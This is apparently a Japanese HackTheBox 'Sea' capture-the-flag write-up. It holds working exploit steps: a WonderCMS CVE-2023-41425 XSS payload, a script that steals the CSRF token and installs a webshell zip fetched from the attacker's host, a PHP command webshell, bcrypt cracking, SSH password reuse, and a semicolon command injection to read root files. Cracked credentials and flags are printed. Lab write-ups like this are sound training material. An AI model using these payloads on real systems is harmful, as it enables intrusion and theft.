HackTheBox: Sea — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80
→
22/80
WonderCMS 3.2.0検出
/themes/bike/version
→
/themes/bike/version
CVE-2023-41425 XSS
contact.php website欄に注入
→
contact.php website欄に注入
admin bot来訪
CSRFトークン窃取→モジュール設置
→
CSRFトークン窃取→モジュール設置
www-data RCE
cmd.php webシェル
→
cmd.php webシェル
database.js bcrypt
hashcat -m 3200→mychemicalromance
→
hashcat -m 3200→mychemicalromance
SSH amay → user.txt ✓
→
SSHポートフォワード
127.0.0.1:8080 System Monitor
→
127.0.0.1:8080 System Monitor
log_file コマンド注入 → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p 22,80 10.129.92.218
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 80/tcp open http Apache httpd 2.4.41 |_http-title: Did not follow redirect to http://sea.htb/
/etc/hosts 登録 & CMS特定
BASH
echo "10.129.92.218 sea.htb" | sudo tee -a /etc/hosts curl -s http://sea.htb/themes/bike/version
RESULT
3.2.0
🚨
WonderCMS 3.2.0 と確定。このバージョンには未認証から発火できる
CVE-2023-41425(contact formのXSS→管理者セッション奪取→RCE)が存在する。
PHASE 2
攻撃用アセットの準備 (webシェルzip & xss.js)
WonderCMSの「モジュールインストール」機能
NOTE
WonderCMSの管理画面には ?installModule=<zipのURL>&directoryName=<展開先ディレクトリ名> &type=themes&token=<CSRFトークン> というパラメータで、外部URLからzipをダウンロードし themes/配下に展開できる機能がある(本来はテーマ/プラグイン導入用)。 これに任意のPHPファイルを仕込んだzipを渡せば、認証済み管理者のセッションさえ奪えば Webシェルを自由に配置できる。CVE-2023-41425はこの「管理者セッションを奪う」部分を contact formのXSSで実現する。
PHP Webシェルをzip化
BASH
mkdir revshell-main echo '<?php system($_GET["cmd"]); ?>' > revshell-main/cmd.php zip -r main.zip revshell-main/
ℹ️
zipのトップレベルディレクトリ名(
revshell-main)が、インストール後に
themes/revshell-main/ として展開される。
攻撃者側にHTTPサーバーを起動し main.zip / xss.js を配信
BASH
python3 -m http.server 8000
PYTHON (xss.js — ブラウザ上で実行される攻撃コード)
var b = "http://sea.htb";
var x = new XMLHttpRequest();
x.withCredentials = true; // 管理者の既存セッションcookieを使わせる
x.open("GET", b + "/", true);
x.onload = function () {
// ページ本文からCSRFトークンを抜き取る
var d = new DOMParser().parseFromString(this.responseText, "text/html");
var t = d.querySelector('[name="token"]');
if (!t) return;
var token = t.value;
// トークン付きでモジュールインストールAPIを叩く
var xi = new XMLHttpRequest();
xi.withCredentials = true;
xi.open("GET", b + "/?installModule=http://10.10.15.200:8000/main.zip" +
"&directoryName=revshell-main&type=themes&token=" + token, true);
xi.send();
};
x.send();
⚠️
WonderCMSはCSRF対策として毎回トークンを発行するが、XSSが刺さった状態では管理者ブラウザ内で
JavaScriptが実行されるため、管理者自身のCookie付きでトークンを取得し、そのまま同じブラウザ内
から正規のAPI呼び出しとしてモジュールインストールを実行できてしまう(CSRF対策はXSSには無力)。
PHASE 3
contact formへXSS注入 & webシェルRCE確立
contact.php の website フィールドにXSSペイロードを送信
BASH
curl -s -X POST http://sea.htb/contact.php \ --data-urlencode "name=pentest" \ --data-urlencode "email=pen@test.com" \ --data-urlencode "age=25" \ --data-urlencode "country=Japan" \ --data-urlencode 'website=http://sea.htb/index.php?page=LoginURL">
admin bot(管理者の定期巡回)の発火を待つ
NOTE
このボックスには、管理者がログイン中のブラウザで定期的にサイトを巡回する 自動化スクリプト(ヘッドレスChrome)が仕込まれている。問い合わせメッセージが 表示されるページを巡回した際にXSSが発火し、xss.jsがCSRFトークンを使って モジュールインストールAPIを呼び出す。 2回に分けて送信しておくと、巡回タイミングのズレに対して成功率が上がる。
BASH
# HTTPサーバーのアクセスログで発火を確認できる # 127.0.0.1 - - [...] "GET /?installModule=http://KALI:8000/main.zip&directoryName=revshell-main&type=themes&token=..." 302 tail -f /tmp/http_server.log
Webシェルの設置確認 & RCE
BASH
curl -s 'http://sea.htb/themes/revshell-main/cmd.php?cmd=id'
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! 管理者権限を一切知らずに、XSS経由で任意PHPファイルを
Webルート配下に配置できた。
PHASE 4
database.js から管理者ハッシュを回収・クラック → SSH → user.txt
WonderCMSの設定ファイルから管理者bcryptハッシュを取得
BASH
curl -s 'http://sea.htb/themes/revshell-main/cmd.php?cmd=cat%20/var/www/sea/data/database.js'
RESULT
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
...
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
...
}
}
ℹ️
WonderCMSは認証情報をDBではなく
data/database.js という単一のJSONファイルに
保存する(ファイル名こそ .js だが実体はJSON)。JSON内の \/ エスケープを
/ に戻してからハッシュとして使う。
hashcat でbcryptをクラック
BASH
echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > admin.hash hashcat -m 3200 -a 0 admin.hash /usr/share/wordlists/rockyou.txt hashcat -m 3200 admin.hash --show
RESULT
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
⚠️
bcrypt(-m 3200)はコスト要因のためrockyou.txt全体の総当りに数分かかる。既にキャッシュ済みの
場合は
--show だけで即座に結果が出る。
対話可能なOSユーザーを列挙しパスワードを再利用
BASH
curl -s 'http://sea.htb/themes/revshell-main/cmd.php?cmd=cat%20/etc/passwd' | grep '/bin/bash'
RESULT
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:,,,:/home/amay:/bin/bash
geo:x:1001:1001:,,,:/home/geo:/bin/bash
BASH
sshpass -p 'mychemicalromance' ssh amay@10.129.92.218 'id; cat ~/user.txt'
RESULT
uid=1000(amay) gid=1000(amay) groups=1000(amay) 00455ff68dbf2cd8f2e1ec9f3bdb03f6
user.txt — amay
00455ff68dbf2cd8f2e1ec9f3bdb03f6
✅
WonderCMS管理者パスワードが、OSユーザー
amayにそのまま再利用されていた。
PHASE 5
内部限定サービスの発見 & SSHポートフォワード
ローカルリスニングポートの確認
BASH
amay@sea:~$ netstat -ntlp 2>/dev/null || ss -ntlp
RESULT
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
🚨
127.0.0.1:8080にlocalhost限定のサービスが稼働している。外部からは見えないが、
root権限で動作している「System Monitor」というWebアプリだと推測できる
(プロセスオーナーが`-`で表示される=`amay`からは権限不足で見えないがrootのプロセスと判断)。
SSHローカルポートフォワードで公開
BASH
sshpass -p 'mychemicalromance' ssh -o StrictHostKeyChecking=no \ -L 18080:127.0.0.1:8080 -N amay@10.129.92.218 & curl -s http://127.0.0.1:18080/
RESULT
<title>System Monitor(Developing)</title> ... <h2>Analyze Log File</h2> <select name="log_file"> <option value="/var/log/apache2/access.log">access.log</option> <option value="/var/log/auth.log">auth.log</option> </select> <button type="submit" name="analyze_log">Analyze</button>
ℹ️
Basic認証(
amay:mychemicalromance)が掛かっている簡易ダッシュボード。
「ログファイル解析」機能があり、log_fileパラメータでファイルパスを選択させている。
PHASE 6
log_file パラメータへのコマンドインジェクション → root.txt
コマンドインジェクションの確認
NOTE
System Monitorのバックエンドは、おそらく以下のような実装になっている
(シェル経由でログ解析コマンドを呼んでいる):
system("some-analyzer " . $_POST['log_file']);
log_fileの値をサニタイズせずシェルに渡しているため、セミコロン( ; )で
コマンドを連結すれば任意コマンドを追加実行できる。
root.txt を読める場所にコピーして回収
BASH
# Basic認証付きでPOST。amayには/root/root.txtを直接読む権限が無いため、 # root権限で動くSystem Monitor側に処理させてコピーさせる curl -s -u amay:mychemicalromance -X POST http://127.0.0.1:18080 \ --data-urlencode 'log_file=/var/log/apache2/access.log;cp /root/root.txt /tmp/.sea_rf;chmod 644 /tmp/.sea_rf' \ -d 'analyze_log='
BASH
# root権限でコピーされた一時ファイルをamayから読む sshpass -p 'mychemicalromance' ssh amay@10.129.92.218 'cat /tmp/.sea_rf'
RESULT
e5dbb61053cb8e6ccafc2beada7ac56c
root.txt — root@sea
e5dbb61053cb8e6ccafc2beada7ac56c
⚠️
直接
cat /root/root.txt を試すだけでは失敗する(amayには
/root配下への読み取り権限が無い)。root権限を持つSystem Monitor側の
コマンド実行機能を使って、root.txtをamayが読めるパーミッション・場所に
コピーさせるのが正しい回収手順。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — amay
00455ff68dbf2cd8f2e1ec9f3bdb03f6
root.txt — root@sea
e5dbb61053cb8e6ccafc2beada7ac56c
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2023-41425 | WonderCMS 3.2.0 (contact.php) | 未認証からの管理者セッション奪取 → RCE | Critical | website欄の未サニタイズ出力でXSS注入、管理者巡回時にCSRFトークンを窃取しモジュールインストールAPIでWebシェルzipを配置 |
| パスワード再利用 | WonderCMS管理者 → OSユーザー amay | 横移動(SSH) | Medium | bcryptクラックで得たCMS管理者パスワードがOSアカウントにも使われていた |
| OSコマンドインジェクション | 内部専用 System Monitor アプリ (127.0.0.1:8080, log_fileパラメータ) | root権限でのコマンド実行 | Critical | ログファイルパス選択パラメータをシェルに未サニタイズで渡しており、セミコロンで任意コマンドを連結実行できる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + /themes/bike/version | WonderCMS 3.2.0確定 |
| 2 | 準備 | Webシェルzip + xss.js作成 | CSRFトークン窃取ペイロード |
| 3 | XSS/RCE | contact.php注入 + admin bot待機 | www-data RCE (cmd.php) |
| 4 | 横移動 | database.js bcrypt + hashcat + SSH | user.txt(amay) |
| 5 | 内部調査 | netstat + SSHポートフォワード | System Monitor(127.0.0.1:8080)発見 |
| 6 | 権限昇格 | log_fileコマンド注入 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 問い合わせフォームの入力値がエスケープされずHTMLに出力される(XSS) | 全ユーザー入力をHTML出力時にエスケープする。CMSを既知CVE修正済みの最新版へ更新する。 |
| CSRFトークンの検証がXSS経由での「正規ブラウザからの正規リクエスト」を防げない | CSRFトークンはXSS対策の代替にはならない。入力バリデーション・CSP(Content-Security-Policy)でインラインスクリプト/外部スクリプト読込を制限する。 |
| アプリケーション管理者パスワードをOSアカウントに再利用 | 用途ごとに異なる認証情報を発行し、パスワード使い回しを運用ルールで禁止する。 |
| 内部限定("localhost only"という思い込み)の管理ツールがコマンドインジェクション可能でroot権限稼働 | 「localhostにしか公開していないから安全」という思い込みを捨て、ローカル限定サービスでも入力値のサニタイズ・最小権限での実行を徹底する。SSHポートフォワードはローカル限定の防御を容易に無効化する。 |

